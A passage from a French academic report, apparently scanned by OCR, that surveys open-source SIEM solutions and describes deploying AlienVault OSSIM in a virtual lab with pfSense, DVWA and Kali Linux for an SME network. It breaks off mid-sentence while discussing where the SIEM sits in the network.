Il existe actuellement sur le marché plusieurs solutions SIEM, chacune ayant ses propres points forts et points
faibles. Cependant, une solution SIEM mature doit étre en mesure d’exécuter les fonctionnalités de base sui-
vantes : la gestion des logs, la recherche et la création de rapports, la surveillance de sécurité en temps réel, la
gestion des incidents, le renseignement sur les menaces et la surveillance du comportement des utilisateurs et

des entités.

1.3.1 La gestion de logs

Un SIEM doit avoir la capacité de lire différents formats de logs provenant de plusieurs sources, de posséder
des parsers pour les formats les plus courants, et de permettre la création de parsers personnalisés. La gestion

des logs consiste donc a centraliser les logs recus dans une méme base de données et a les archiver par la suite.

1.3.2 Larecherche et la création de rapports

Un SIEM doit fournir une interface riche permettant la recherche d’événements selon différents criteres tels que
le temps de I’événement, la source de I’événement, le nom de 1’hote, I’adresse Internet Protocol (IP) source,
etc. De plus, un SIEM doit offrir la possibilité de générer des rapports périodiques ou sur demande en utilisant
des filtres bien définis.

1.3.3 La surveillance en temps réel

Un SIEM doit permettre la génération d’alertes en temps réel, que ce soit sur I’interface utilisateur, par e-mail

ou par SMS. Ces alertes sont basées sur des filtres définis par I’utilisateur et ont pour but d’alerter 1'utilisateur
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du SIEM en temps réel sur des événements critiques, tels que la détection d’un malware dangereux dans le
réseau, une attaque de type DDoS ou une tentative de brute force sur un compte utilisateur.

1.3.4 La gestion des incidents

Un SIEM doit offrir la possibilité de détecter des incidents et de mettre en place un workflow automatisé pour
les gérer. Cela comprend ’analyse des événements, le signalement des faux positifs et la communication des

incidents aux experts en sécurité.

1.3.5 Le renseignement sur les menaces

Une solution SIEM doit étre capable de s’intégrer avec des sources externes pour identifier les menaces internes
et externes. Par exemple, elle peut contacter des adresses malveillantes par le biais d’une machine pour recueillir

des informations sur les menaces.

1.3.6 La surveillance du comportement des entités et des utilisateurs

Un SIEM doit offrir une vue complete des actions effectuées par les utilisateurs et les entités. Il doit étre
capable de détecter les anomalies et les violations en se basant sur des regles prédéfinies, telles que les heures

de connexion de I’utilisateur, ses permissions et son adresse de connexion.

1.4 Revue des solutions SIEM Open-source

Il existe plusieurs solutions SIEM open-source, en plus d’OSSIM, qui offrent des fonctionnalités similaires.

Certaines de ces solutions incluent :

14.1 OSSIM

L’ AlienVault OSSIM fourni par ATT Cybersecurity est un outil SIEM open source basé sur la solution Alien-
Vault USM. AlienVault OSSIM permet la surveillance des appareils et la collecte de journaux. Il fournit éga-
lement la normalisation et la corrélation d’événements. Il integre des produits open source pour fournir une
plate-forme de base qui peut réaliser des fonctions de surveillance de la sécurité, collecter des journaux clas-
sifiés, identifier et résoudre les incidents de sécurité majeurs, et répondre aux exigences de surveillance de la

sécurité et aux exigences d’audit et de conformité pour le stockage des journaux.

1.4.2 Prelude OSS

Prelude OSS est la version open-source de Prelude SIEM. Il s’agit donc d’un SIEM open source destiné a
des environnements de tests. Il prend en charge plusieurs formats de journaux et peut s’intégrer avec d’autres
outils de sécurité. Il offre également la normalisation des données d’événements dans un format standard, ce
qui peut aider a prendre en charge d’autres outils et solutions de sécurité. Prelude OSS bénéficie également

d’un développement continu, ce qui lui permet de suivre les dernicres informations sur les menaces.

1.4.3 SIEMonster

SIEMonster est une solution logicielle de surveillance de la sécurité personnalisable et évolutive accessible aux

petites et moyennes entreprises. Son cofit abordable permet de surveiller I’ensemble des réseaux a un cofit mi-
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nimal par rapport a d’autres SIEM. SIEMonster propose désormais des options de corrélation de comportement
humain pour enrichir les alertes et minimiser les faux positifs. Il fournit des informations sur les menaces en
temps réel grice a des flux commerciaux ou open source pour stopper les attaques en temps réel. Grace a 1’ap-
prentissage automatique, I’analyse du comportement basé sur I’homme montre que SIEMonster Deep Learning
élimine automatiquement les attaques. SIEMonster peut étre exécuté sur site dans une Virtual Machine (VM),
sur Bare Metal (Mac, Ubuntu, CentOS et Debian), ou sur I'un des fournisseurs Cloud tels qu’ Amazon, GCP ou

Azure.

144 Graylog

Graylog est I’'une des principales solutions de gestion centralisée des journaux pour la capture, le stockage
et I’analyse en temps réel. Spécialement congue pour 1’analytique de journaux moderne, Graylog élimine la
complexité de I’exploration de données, des audits de conformité et de la recherche des menaces pour trouver
facilement la signification des données et prendre des mesures plus rapidement. Elle est congue pour les entre-
prises qui souhaitent collecter et normaliser des données de maniere transparente et plus organisée a partir de

n’importe quelle source de données et effectuer des analyses plus rapides a I’aide d’une solution abordable.

145 ELK

Il s’agit d’une combinaison de trois projets open source : Elasticsearch, Logstash et Kibana. La pile Elastic-
search, Logstash et Kibana (ELK) utilise Elasticsearch pour la recherche, Logstash pour la collecte de données
et Kibana pour la visualisation des données. Ces trois composants sont combinés pour former une solution
complete de collecte, de traitement et d’analyse de journaux. Un nouveau projet, FileBeat, est ajouté a la solu-
tion, ce dernier étant un outil 1éger de collecte et de traitement de journaux (Agent). Filebeat occupe moins de
ressources et convient a la collecte de journaux sur divers serveurs et a leur transmission a Logstash. Avec le
nouveau projet FileBeat, le nom du produit pourrait bient6t changer de ELK & I'un des noms suivants : BELK,
BLEK, ELKB.

1.4.6 Security Onion

Spécialement concu pour la détection d’intrusion, Security Onion est une distribution Linux open-source qui
integre plusieurs outils de sécurité, notamment Snort, Suricata et Elasticsearch, pour surveiller les réseaux.
14.7 Wazuh

Wazuh est une plateforme de détection de sécurité open-source qui s’appuie sur Elasticsearch, Logstash et Ki-

bana. Il offre une surveillance de la sécurité en temps réel et des capacités de détection d’intrusion.

Il existe une panoplie de solutions qui sont proposées par plusieurs entités avec leurs avantages et leurs in-
convénients. Il existe des solutions qui sont propriétaires, et donc payantes, et des solutions qui sont libres et a
codes sources ouverts, donc gratuites. Afin de déterminer la solution qui convient le mieux au présent projet,

une breve présentation de certaines solutions sera faite.
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1.5. Tableau comparatif de quelques solutions SIEM

1.5 Tableau comparatif de quelques solutions SIEM

La comparaison des SIEM est essentielle pour choisir la solution qui correspond le mieux aux besoins spéci-

fiques d’une entreprise. Voici une comparaison de plusieurs SIEM populaires en mettant en avant leurs carac-

téristiques clés :

intuitive et ses capacités d’automatisation. Il pro-
pose des fonctionnalités de sécurité et de conformité

avancées.

Solutions SIEM Points forts Points faibles

Splunk Enterprise Splunk est connu pour sa puissance d’analyse des | Son cofit peut étre élevé,
données et sa polyvalence. Il peut étre utilisé pour | en particulier a grande
bien plus que la sécurité, ce qui en fait un choix at- | échelle.
trayant pour les entreprises ayant des besoins variés.

AlienVault OSSIM OSSIM est open-source, ce qui signifie qu’il est | Il peut manquer de cer-
gratuit et dispose d’une communauté active. Il est | taines fonctionnalités
adapté aux petites et moyennes entreprises et offre | avancées présentes dans
une bonne couverture des fonctionnalités de sécu- | des solutions commer-
rité de base. ciales.

LogRhythm LogRhythm est connu pour son interface utilisateur | Comme Splunk, son cofit

peut étre un facteur limi-
tant pour les petites entre-

prises.

McAfee Enterprise Secu-
rity Manager

McAfee ESM offre une excellente visibilité et une
intégration solide avec d’autres produits McAfee. Il

est bien adapté aux grandes entreprises.

Il peut étre cofliteux et né-
cessite une certaine ex-
pertise pour une mise en

place efficace.

Graylog

Graylog est open-source, convivial et bien adapté
aux petites et moyennes entreprises. Il se concentre

principalement sur la gestion des journaux.

I peut nécessiter des
configurations supplé-

mentaires ~ pour  des
fonctionnalités de sécu-

rité avancées.

Elasticsearch, Logstash,

ELK est open-source, hautement personnalisable et

Il peut étre nécessaire de

Event Manager

sation et sa tarification compétitive.

Kibana (ELK Stack) convient a la gestion des journaux et a I’analyse des | développer des fonction-
données de sécurité. nalités spécifiques pour
répondre aux besoins de
sécurité avancés.
SolarWinds Security | SolarWinds SEM est réputé pour sa facilité d’utili- | Il peut manquer de cer-

taines fonctionnalités
avancées présentes dans
des solutions plus ro-

bustes.

TABLE 1.1 : Comparaison de quelques SIEM
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Au regard de ces analyses, nous avons parcouru quelques solutions SIEM Open-source dont Alienvault

OSSIM. Nous allons donc dans la suite de ce travail aborder quelques fonctionnalités et caractéristiques propres
a Alienvault OSSIM.

1.6 Présentation d’OSSIM : fonctionnalités et caractéristiques

1.6.1 Introduction a OSSIM

OSSIM, acronyme de "Open Source Security Information Management", est une solution open-source puis-

sante de gestion des informations de sécurité. Concue pour aider les organisations a surveiller, détecter et ré-

pondre aux menaces de sécurité, OSSIM offre une gamme complete de fonctionnalités pour renforcer la posture

de sécurité.

1.6.2 Caractéristiques, fonctionnalités et avantages spécifiques d’OSSIM

Collecte de données hétérogenes : OSSIM est capable de collecter des données de sécurité provenant
de nombreuses sources différentes, telles que les journaux d’événements, les flux de trafic réseau, les

données de configuration, etc. Cela permet une vue globale de I’environnement de sécurité.

Corrélation des événements : OSSIM effectue une corrélation intelligente des événements de sécurité
pour identifier les schémas et les comportements suspects. Cela permet de détecter les menaces poten-

tielles plus rapidement et de réduire les faux positifs.

Gestion des vulnérabilités : L’ outil offre des fonctionnalités de gestion des vulnérabilités pour identifier

et remédier aux faiblesses de sécurité dans les systemes et les réseaux.

Détection d’intrusion : OSSIM integre des mécanismes de détection d’intrusion (IDS) pour repérer les
activités malveillantes et les tentatives d’intrusion. Il permet également d’automatiser les réponses aux

alertes.

Tableaux de bord et rapports : L’interface d’OSSIM propose des tableaux de bord personnalisables et des
rapports détaillés pour fournir une vue d’ensemble claire de 1’état de la sécurité. Cela facilite la prise de

décisions éclairées.

Gestion des actifs : OSSIM peut aider a surveiller et a gérer les actifs informatiques, ce qui est essentiel

pour garantir que toutes les ressources sont sécurisées.

Intégration de sources d’informations : Il prend en charge I'intégration de sources d’informations ex-

ternes, telles que des listes de réputation d’IP, pour améliorer la précision de la détection des menaces.

Licence open-source : L’un des principaux avantages d’OSSIM est qu’il est open-source, ce qui signifie

qu’il est disponible gratuitement et que sa communauté active contribue a son développement continu.

Personnalisable : OSSIM est hautement personnalisable pour répondre aux besoins spécifiques de chaque

organisation en matiere de sécurité.

Support communautaire : Bien que I’outil soit open-source, il existe des forums et une communauté

dédiée qui peut fournir un support technique et des ressources pour les utilisateurs.
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On déduit donc qu’OSSIM est une solution complete de gestion des informations de sécurité qui offre
une gamme étendue de fonctionnalités pour surveiller, détecter et répondre aux menaces de sécurité. En tant
qu’outil open-source, il est accessible a un large public et peut étre adapté pour répondre aux besoins spécifiques

de chaque organisation en matiere de sécurité.

Conclusion

Le premier chapitre a exploré en profondeur le paysage SIEM et a présenté OSSIM comme une solution open
source prometteuse. Cette revue de littérature pose les bases d’une analyse approfondie des avantages et des
défis liés a la mise en ceuvre d’OSSIM en tant que solution SIEM dans le contexte de la sécurité informatique

actuelle.
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Chapitre

Analyse, choix techniques et déploiement de la

solution

Introduction

Le chapitre précédent nous a fourni une base solide en explorant les concepts fondamentaux des SIEM et en
présentant OSSIM comme une solution open-source de gestion des informations de sécurité. Dans ce chapitre,
nous allons utiliser cette compréhension pour installer et configurer OSSIM qui répondra aux besoins spéci-

fiques de notre environnement informatique et de sécurité.

2.1 Analyse des besoins de sécurité

Dans le cadre de notre travail, les besoins de sécurité sont pour les PME de fagon générale. Les besoins identifiés
sont donc des exemples tangibles. Lors de 1’analyse des besoins de sécurité d’une PME lors de I'implémentation
d’OSSIM en tant que solution SIEM, il est donc important de prendre en compte les spécificités de I’entreprise.
Dans ce tableau, vous trouverez quelques exemples tangibles d’éléments que nous prenons en compte dans

cette analyse :
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Besoins de sécurité Cas possibles

Evaluation des menaces potentielles Une entreprise de commerce électronique peut
étre particulierement vulnérable aux attaques DDoS

(déni de service distribué) et aux fraudes en ligne.

Analyse des vulnérabilités Une PME utilisant des systémes obsolétes ou non
mis a jour régulierement peut présenter des vulnéra-

bilités importantes.

Collecte de données Une PME qui gére un site Web de commerce élec-
tronique peut souhaiter collecter des journaux de

serveur web pour détecter les activités anormales.

Analyse et corrélation des événements | Une entreprise de fabrication peut avoir besoin
d’analyser et de corréler les événements pour détec-
ter les tentatives d’acces non autorisé aux systemes

de contrdle industriel.

Intégration avec d’autres solutions Une PME utilisant déja un systeéme de détection
d’intrusion (IDS) peut vouloir intégrer les alertes de
I’IDS dans OSSIM pour une meilleure visibilité.

Besoin de surveillance en temps réel Une entreprise de soins de santé peut avoir besoin de
surveiller en temps réel les acces non autorisés aux

dossiers médicaux électroniques.

Formation du personnel Toute PME devrait envisager la formation de son
personnel sur la sécurité de I’information, notam-

ment sur la maniere de signaler des incidents et de

suivre les procédures d’urgence.

TABLE 2.1 : Analyse des besoins de sécurité des entreprises

Il est vraiment important de rappeler que les besoins de sécurité dépendent des objectifs et contraintes de
Pentreprise. Ces besoins identifiés dans le tableau ci-dessus ne sont donc pas exhaustifs. Chaque PME aura
des besoins de sécurité spécifiques en fonction de son secteur d’activité, de sa taille, de ses actifs et de ses
réglementations applicables. Il est essentiel d’effectuer une analyse approfondie pour bien personnaliser la

mise en ceuvre d’OSSIM afin de répondre adéquatement a ces besoins.

2.2 Choix des composants SIEM en fonction des besoins

Le choix des composants d’un systeme SIEM (Security Information and Event Management) en fonction des
besoins de sécurité identifiés est essentiel pour une mise en ceuvre efficace. Essayons de justifier ce choix en

relation avec les besoins de sécurité spécifiques d’'une PME dans le tableau ci-dessous :
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Besoins identifiés Justification

Intégration avec d’autres solutions Si la PME utilise déja des solutions de sécurité telles
que des pare-feu ou des systemes de détection d’in-
trusion, le SIEM doit étre compatible et capable
d’intégrer ces données pour une vue d’ensemble

complete de la sécurité.

Collecte des données Les besoins de sécurité peuvent varier en fonction
des sources de données a surveiller. Par exemple,
si I'entreprise traite des données sensibles, le SIEM
devrait étre capable de collecter des journaux d’évé-
nements a partir des serveurs, des applications, des

bases de données et des dispositifs de réseau.

Analyse des vulnérabilités En fonction des menaces potentielles identifiées, le
SIEM doit étre capable d’analyser les événements
en temps réel et de détecter les anomalies. Cela pour-
rait nécessiter des composants avancés d’analyse des
événements, tels que la corrélation d’événements et

I’apprentissage automatique.

Stockage des journaux Si la PME doit conserver des données de journal
pendant une période prolongée pour se conformer
aux réglementations, le SIEM devrait étre équipé
d’un composant de stockage des journaux robuste,

capable de gérer de grandes quantités de données.

Gestion des incidents Si la PME souhaite automatiser certaines réponses
aux incidents, tels que le blocage d’adresses IP mal-
veillantes, le SIEM doit intégrer des composants de
gestion des incidents pour prendre des mesures en

temps réel.

Formation du personnel Les besoins en formation du personnel doivent étre
pris en compte. Le SIEM devrait étre convivial et
étre accompagné de composants de formation pour

assurer une utilisation efficace.

TABLE 2.2 : Choix des composants SIEM en fonction des besoins

Nous allons maintenant par la suite faire une bréeve comparaison entre la version payante et la version gratuite

de notre solution pour justifier notre choix.

2.2.1 Différence entre la version commerciale et la version gratuite (libre) de AlienVault

Méme étant suffisant pour gérer au minimal les problemes de sécurité informatique d’une entreprise, la version
open-source dispose des limites grace a quelques fonctionnalités que nous retrouvons dans la version commer-
ciale. Cette comparaison se résume dans la figure ci-dessous :

L’analyse du schéma ci-dessus montre que les solutions open-sources Alienvault OSSIM et commerciales
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Difference b/w
Commercial & Non-Commercial

AWS & AZURE CLOUD MONITORING

FIGURE 2.1 : Différences entre la version commerciale et la version gratuite de AlienVault

Alienvault USM ont des fonctionnalités communes telles que : Asset discovery and inventory, vulnerability
assessment, intrusion detection, behavorial monitoring, SIEM event correlation. Par contre, seule la solution
payante prend en charge le log management, AWS and Azure cloud monitoring et le Cloud Apps security
monitoring.

Apres I’analyse minutieuse des différents tableaux précédents, il est important de justifier le choix de la so-
lution a implémenter. Il s’agit de OSSIM, qui est un SIEM libre et a code source ouvert soutenu par AlienVault.
Ce choix est motivé par le caractere libre de la solution, ce qui ouvre de larges possibilités d’adaptation sur
mesure et de personnalisation. Malgré le fait que la documentation ne sera pas officiellement accessible, une
communauté de développeurs plutdt active est disponible en cas de soucis. De plus, OSSIM est un concurrent
des logiciels propriétaires par excellence et il est le SIEM libre et a code source ouvert le plus utilisé actuel-
lement. Cette solution est née du constat selon lequel il est difficile encore a ce jour d’obtenir un instantané
de son réseau et des informations qui y transitent avec un niveau d’abstraction suffisant pour permettre une
surveillance claire et efficace.

Il est donc le meilleur choix pour pouvoir gérer les différentes parties du réseau et faire une bonne gestion

des logiciels mentionné auparavant. Son logo est présenté a la figure suivante :

VIR

ALIEN VAULT OSSIM

FIGURE 2.2 : Logo de AlienVault OSSIM
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2.3 Etude de la solution AlienVault OSSIM

En tant que gestionnaire d’évenements, OSSIM a pour mission de fournir en temps réel une analyse détaillée de
la sécurité et des rapports administratifs de tous les aspects relatifs a la sécurisation du systéeme en combinant
la gestion des logs et la gestion, découverte des ressources avec les informations des systemes de controles
de I’information et de détection dédiés. Ces données sont alors mises en corrélation pour fournir un aspect
de I’information alors invisible par 1’analyse d’une seule piece. OSSIM dispense ces fonctions en utilisant
d’autres logiciels libres bien connus et en les unifiant sous une unique interface utilisateur. C’est cette interface
qui fournit les graphiques les outils d’analyse relatifs aux informations collectées via ces logiciels libres et
permet une gestion centralisée des options de configuration.
Les objectifs d’OSSIM sont :

* Fournir un cadre de gestion centralisé;
* Fournir une console d’organisation;
e Améliorer la détection et I’affichage des alarmes de sécurité.

Le but commun des trois principaux objectifs décrits ci-dessus est de permettre une réduction des faux
positifs et des faux négatifs. Ce but est d’autant plus difficile a atteindre du fait qu’un volume considérable
d’alarmes est présent. Il est donc nécessaire de relier ces différentes alarmes entre elles afin d’obtenir des
informations pertinentes et d’éliminer les alarmes inutiles. Cet objectif peut étre atteint a 1’aide d’un procédé
d’analyse des données nommé « Corrélation ». Le principe de fonctionnement d’OSSIM est formé de trois

grandes catégories :
* La détection;
e L’analyse et le monitoring ;

* La gestion.

2.3.1 Architecture d’OSSIM

Larchitecture d’OSSIM est divisée en 2 principaux étages :
* Pre-processing, remontée d’événements des moniteurs et détecteurs dans une base de données commune ;
* Post-processing, analyse centralisée.

La figure ci-dessous illustre le fonctionnement en 2 étages. Nous remarquons que ces deux étages disposent
de différentes bases de données permettant la sauvegarde des informations intermédiaires (corrélées).

Définitions des bases de données
e EDB : La base de données des événements (la plus grande), stockant toutes les alarmes individuelles.

e KDB : La base de données des connaissances, sauvegardant les configurations établies par 1I’administra-

teur en charge de la sécurité.

* UDB : La base de données des profils, stockant toutes les informations du moniteur de profil.
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FIGURE 2.3 : Architecture de OSSIM

Nous détaillons I’acheminement d’une alarme dans I’architecture définie par la figure ci-dessus. Afin d’ai-

der a la compréhension, le cheminement d’une alarme dans 1’architecture définie par la figure précédente sera

détaillé. Le schéma de la figure 2.4 illustre le fonctionnement décrit ci-dessous :

1.

2.

10.

Détection d’un évenement suspect par un détecteur (par signatures ou par 1’heuristique).

Si nécessaire, des alarmes sont regroupées (par le détecteur) afin de diminuer le trafic réseau.

. Le collecteur recoit la/les alarme(s) via différents protocoles de communications ouverts.
. Le parseur normalise et sauvegarde les alarmes dans la base de données d’évenements (EDB).

. Le parseur assigne une priorité aux alarmes recues en fonction de la configuration des politiques de

sécurité définies par I’administrateur sécurité.

. Le parseur évalue le risque immédiat représenté par I’alarme et envoie si nécessaire une alarme interne

au "panneau de controle".

. L’alerte est maintenant envoyée a tous les processus de corrélation qui mettent a jour leurs états et en-

voient éventuellement une alerte interne plus précise (groupe d’alerte provenant de la corrélation) au

module de centralisation.

. Le moniteur de risque affiche périodiquement 1’état de chaque risque calculé par les algorithmes heuris-

tiques.

. Le panneau de contrdle affiche les alarmes les plus récentes et met a jour les indices des états qui sont

comparés aux seuils définis par I’administrateur. Si les indices sont supérieurs aux seuils configurés, une

alarme interne est émise.

Depuis le panneau de controle, I’administrateur a la possibilité de visualiser et rechercher des liens entre

les différentes alarmes a 1’aide de la console forensic.

La figure suivante montre comment les données sont traitées sur le serveur.
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9 ' Control Panel |
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FIGURE 2.4 : Flux de données du serveur OSSIM

2.3.2 Fonctionnement d’OSSIM

Le fonctionnement d’OSSIM peut se décliner en deux étapes, correspondant a deux parties distinctes de son
architecture technique.

a) Prétraitement (ossim-agent)

Le prétraitement de I’information est assuré par les moniteurs d’événements et autres éléments de détection.
Ces équipements peuvent étre déployés simultanément avec OSSIM ou faire partie de 1’architecture existante.
Parmi ces équipements, on trouve des sondes de détection d’intrusion (IDS), des pare-feux (Firewall), des
systémes syslog, etc.

Le prétraitement de I’information au niveau de ces équipements consiste a collecter les informations de
logs et a les normaliser pour les stocker de maniere uniforme, facilitant ainsi le traitement ultérieur.

Remarque : Les logs peuvent étre centralisés et/ou consolidés au préalable avant d’étre collectés par les
agents OSSIM, réduisant ainsi I’utilisation de la bande passante du réseau.

b) Post-traitement (ossim-server)

Le post-traitement consiste en I’ensemble des processus internes a la solution OSSIM qui vont prendre
en charge I’information brute collectée (et normalisée) pour 1’analyser, la traiter et la stocker. Les traitements
appliqués dépendent des outils activés au sein de la solution et des politiques définies via le panneau de controle.
Les informations sont priorisées, les risques sont évalués en fonction de la politique définie, et les informations
sont corrélées avant d’étre stockées dans la base des événements (EDB).

Parallelement a ces actions, certaines informations telles que la supervision réseau sont directement remon-
tées via des consoles. Le noyau (kernel) assure le lien avec tous les autres systemes au sein d’OSSIM.

Remarque : OSSIM comprend des logiciels servant d’agent et de serveur. L’ossim-agent récupere simple-
ment les informations des fichiers de logs des plugins (fichier fast.log) pour Snort, puis les envoie directement
au serveur OSSIM, permettant ainsi un traitement en temps réel. De plus, I’agent OSSIM gere la mise en marche

et I’arrét des différentes sondes qui lui sont connectées, éliminant ainsi le besoin de démarrer manuellement la
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sonde Snort, car son activation est effectuée depuis la console de gestion offerte par OSSIM-server. OSSIM-
server constitue le noyau de 1’architecture, comprenant les modules d’analyse et de corrélation des données,

ainsi qu’un serveur Web permettant I’interaction avec I’administrateur réseau.

2.3.3 Déploiement d’OSSIM
2.3.3.1 Logiciels et Outils Utilisés

GNS3 (Graphical Network Simulator) : GNS3 est un logiciel libre permettant I’émulation ou la simulation
de réseaux informatiques. Il permet aux utilisateurs de créer des topologies de réseaux complexes et
de simuler leur fonctionnement. Pour ce faire, il utilise des images de logiciels Cisco IOS réels pour
émuler différents périphériques virtuels. Il offre un avantage majeur en matiere d’émulation de matériel,
car les utilisateurs peuvent connecter des périphériques virtuels a 1’Internet réel. De plus, GNS3 offre
des fonctionnalités de personnalisation des périphériques virtuels, permettant aux utilisateurs d’ajouter

différents emplacements et cartes, comme s’ils utilisaient de vrais dispositifs.

GNS3°
FIGURE 2.5 : Accueil GNS3

DVWA (Damn Vulnerable Web Application) : DV WA est une application web PHP/MySQL, dont I’ objectif
principal est de permettre aux professionnels de la sécurité de tester leurs compétences et leurs outils dans

un environnement légal.
DA

FIGURE 2.6 : Logo de DVWA

Pfsense : Pfsense est un routeur/pare-feu qui sécurise les systeémes d’information en contrdlant I’ensemble des
échanges effectués sur le réseau. C’est une solution open source permettant de sécuriser les réseaux infor-
matiques d’entreprises et de particuliers. Son role principal est de protéger contre les attaques provenant
d’internet, mais aussi de controler les acces aux ressources réseau. Les fonctionnalités de pfsense sont

nombreuses et permettent une gestion fine de la sécurité.

[Fisense

FIGURE 2.7 : Logo de Pfsense

VIRTUALBOX : Pour I’émulation de notre réseau, nous avons choisi d’utiliser VirtualBox. Ce dernier permet

la création d’une ou plusieurs machines virtuelles au sein d’un méme systeme d’exploitation (générale-
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Chapitre 2. Analyse, choix techniques et déploiement de la solution

ment Windows ou Linux). Ceux-ci pouvant étre reliés au réseau local avec une adresse IP différente, tout
en étant sur la méme machine physique. Il est possible de faire fonctionner plusieurs machines virtuelles

en mé€me temps, la limite correspondant aux performances de 1’hdte physique.

FIGURE 2.8 : Logo Oracle Virtualbox

Metasploit : C’est un outil de test d’intrusion open-source qui aide les professionnels de la sécurité a identifier
les vulnérabilités de leurs systemes et réseaux. Il fournit une suite compléte d’outils pour tester, exploiter

et gérer les vulnérabilités.

FIGURE 2.9 : Logo de metasploit

Vu I'importance que nous accordons aux informations et aux services fournis par les serveurs et les ma-
chines de notre réseau, I’implémentation sera effectuée dans un environnement virtuel en créant cinq (05) ma-
chines virtuelles de caractéristiques différentes en fonction de nos besoins que nous présentons dans le Tableau

2.3 ci-dessous :
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Machines Virtuelles Caractéristiques

VM1 : C’est la machine qui héberge le serveur OS- « RAM : 6 Go: DD : 50 Go
SIM proprement dit

e Processeur : 2

¢ Nombre de cartes réseaux : 2

VM2 : C’est la machine sur laquelle est installée et

configurée le pare-feu/routeur pfsense « RAM: 1Go: DD : 20 Go

e Processeur: 1

¢ Nombre de cartes réseaux : 4

VM3 : Cette derniere sera utilisée pour simuler un

utilisateur normal dans le réseau interne. ¢ RAM : 2Go; DD : 40 Go

e Processeur: 1
¢ OS : Windows 10

e Nombre de cartes réseaux : 1

VM4 : Cette machine sera utilisée pour faire des
tests d’attaques sur le réseau afin de tester le fonc- « RAM : 1Go: DD : 40 Go

tionnement de OSSIM
e Processeur : 2

* OS : Kali Linux

e Nombre de cartes réseaux : 1

VM5 : Cette machine sera utilisée comme serveur
vulnérable D.V.W.A. (Damn Vulnerable Web Appli- « RAM : 1Go; DD : 30 Go
cation). Des scans de vulnérabilité seront effectués
sur cette machine afin de tester la fonction d’analyse * Processeur : 2

de vulnérabilités de OSSIM « OS : Ubuntu 20.04

e Nombre de cartes réseaux : 1

TABLE 2.3 : Caractéristiques des machines virtuelles utilisées

Il est a noter que nous avons déployé cette solution sur une machine hote de capacité :
* RAM: 16 Go
* Disque dur SSD : 512 Go

e Processeurs : 4 cceurs et 8 processeurs
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¢ OS : Windows 10 Pro

2.3.3.2 Configuration de OSSIM

Lors de I’installation de notre solution, nous accédons a I’interface que voici :

E OSSIM-SRV [En fonction] - Oracle VM VirtualBox

Fichier Machine Ecran Entrée Périphériques Aide

FIGURE 2.10 : Interface OSSIM

Apres avoir saisi le nom d’utilisateur et le mot de passe définis pour le serveur OSSIM, nous obtenons
I’interface de configuration de base d’OSSIM.

i8] 0SSIM-SRV [En fonction] - Oracle VM VirtualBox - O p

Fichier Machine Ecran Entrée Périphériques Aide
o ]

Aliervault Sstup
Alientault Setup

Car

Maintenance & Troubleshooting
Jailbresk System

Support

About this Installation
Reboot Appliance

Shutdown Appliance

Apply 211 Changes

O ) OO s G )

FIGURE 2.11 : Interface de configuration de base d’OSSIM

Sur cette interface, un message nous indique que nous pouvons accéder a I'interface graphique d’OSSIM
en utilisant I’adresse "https ://172.16.30.2".
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Administrator Account Creation

Create an account to access your AlienVault product.

* Asterisks indicate required fields

FULL NAME * ‘ ‘

USERMNAME *

PASSWORD * \ |

CONFIRM PASSWORD * ‘ ‘

E-MAIL * \ |

COMPANY NAME \ |

LOCATION \ | - view Map

START USING ALIENVAULT

FIGURE 2.12 : Page de configuration d’OSSIM pour la premiere connexion

En saisissant cette adresse dans le navigateur web, nous atteignons 1’interface graphique d’OSSIM ot nous

saisissons les informations de 1’administrateur d’OSSIM.

SIVI®|

ALIEN VAULT OSSIM

ossim-srv 172.16.30.2

USERNAME

PASSWORD

FIGURE 2.13 : Interface web de connexion a 1’interface web d’OSSIM

Apres cette étape, nous pouvons nous connecter a OSSIM en utilisant le nom d’utilisateur et le mot de passe
de I’administrateur, comme illustré ci-dessus.
Ainsi, nous pouvons commencer a tester les fonctionnalités de OSSIM en nous basant sur quelques événe-

ments et informations de sécurité relatifs a I’architecture que nous allons proposer.

Conclusion

OSSIM est une solution de sécurité qui dispose des fonctionnalités d’un IDS hybride (NIDS+HIDS). Son
caractere open-source et ses différentes fonctionnalités ont été les principales raisons de notre choix. Dans le

chapitre 3, nous présenterons les différents tests effectués et les résultats obtenus.

27



Chapitre

Résultats et discussion

Introduction

A travers ce chapitre, nous allons nous baser sur I’architecture que nous avons proposé. Pour rendre notre travail
intéressant, nous allons réaliser des tests afin de mesurer 1’efficacité et I’efficience de la solution SIEM OSSIM

que nous avons choisi.
3.1 Architecture du réseau et configuration

3.1.1 Architecture du réseau

Dans le but de pallier aux différents problemes du réseau de notre PME, il s’avere nécessaire de bien disposer
les équipements du réseau afin d’offrir un niveau de sécurité élevé. Ainsi I’architecture du réseau que nous

proposons dans le cadre de notre projet se présente comme suit :
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NAT1

Attaquant-1
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Firewall-pfsehse
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FIGURE 3.1 : Architecture du Réseau de la PME

Comme on peut le voir sur la figure, une topologie en étoile a été retenue pour I’'implémentation de notre
SIEM OSSIM. C’est une architecture type qui peut étre mise en place dans les petites et moyennes entre-
prises pour gérer efficacement les événements de sécurité informatique. Elle est composée de différentes parties

comme suit :

* Le réseau interne (le LAN ou zone verte) : On trouve les ordinateurs locaux des personnels de I’entre-

prise. Plus précisément ici, le PC d’un utilisateur normal sur le réseau.

e La DMZ-SRV-WEB (DMZ1 ou zone orange 1) : On y trouve des serveurs (web, DNS, mail, etc). En
raison des ressources de notre machine hote, seul un serveur web hébergeant un serveur web vulnérable

DVWA a été mis en place dans ce réseau.

e OSSIM-SRV1 (DMZ2 ou DMZ de supervision du réseau) : On y trouve la machine sur laquelle est

installée le SIEM ; ¢’est-a-dire notre serveur OSSIM.

* La partie externe ou le NAT : Cette zone nous mene au monde extérieur, sur Internet a travers un
pare-feu/routeur pfsense qui est le cceur méme de 1’architecture de notre réseau car il relie les différents

sous-réseaux a travers ses différentes interfaces.

La présente architecture a été retenue pour faciliter le travail de supervision et de gestion des événements
au niveau du SIEM. De facon technique, si le SIEM ¢était positionné entre le pare-feu pfsense et le réseau LAN,
il ne veillera que sur les évenements ayant lieu au sein du réseau LAN au détriment de la DMZ. De méme,
si le SIEM était positionné entre le pare-feu et la DMZ1 (DMZ-SRV-WEB), la gestion ne se fera que sur les
actions qui ont lieu au sein de la DMZ1 au détriment du réseau LAN. Par contre, si le SIEM est positionné entre

le pare-feu et le réseau internet ou le NAT, le risque de faux positif sera accru. Alors, le SIEM sera surchargé
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d’alertes non urgentes et pourra ainsi réduire ses performances. Le positionnement optimal est donc de placer
le SIEM dans un réseau carrément différent qui lui sera dédié (OSSIM-SRV1). De cette facon, il pourra avoir
une vue d’ensemble sur les activités ayant lieu au sein du réseau LAN que sur les activités ayant lieu au sein de

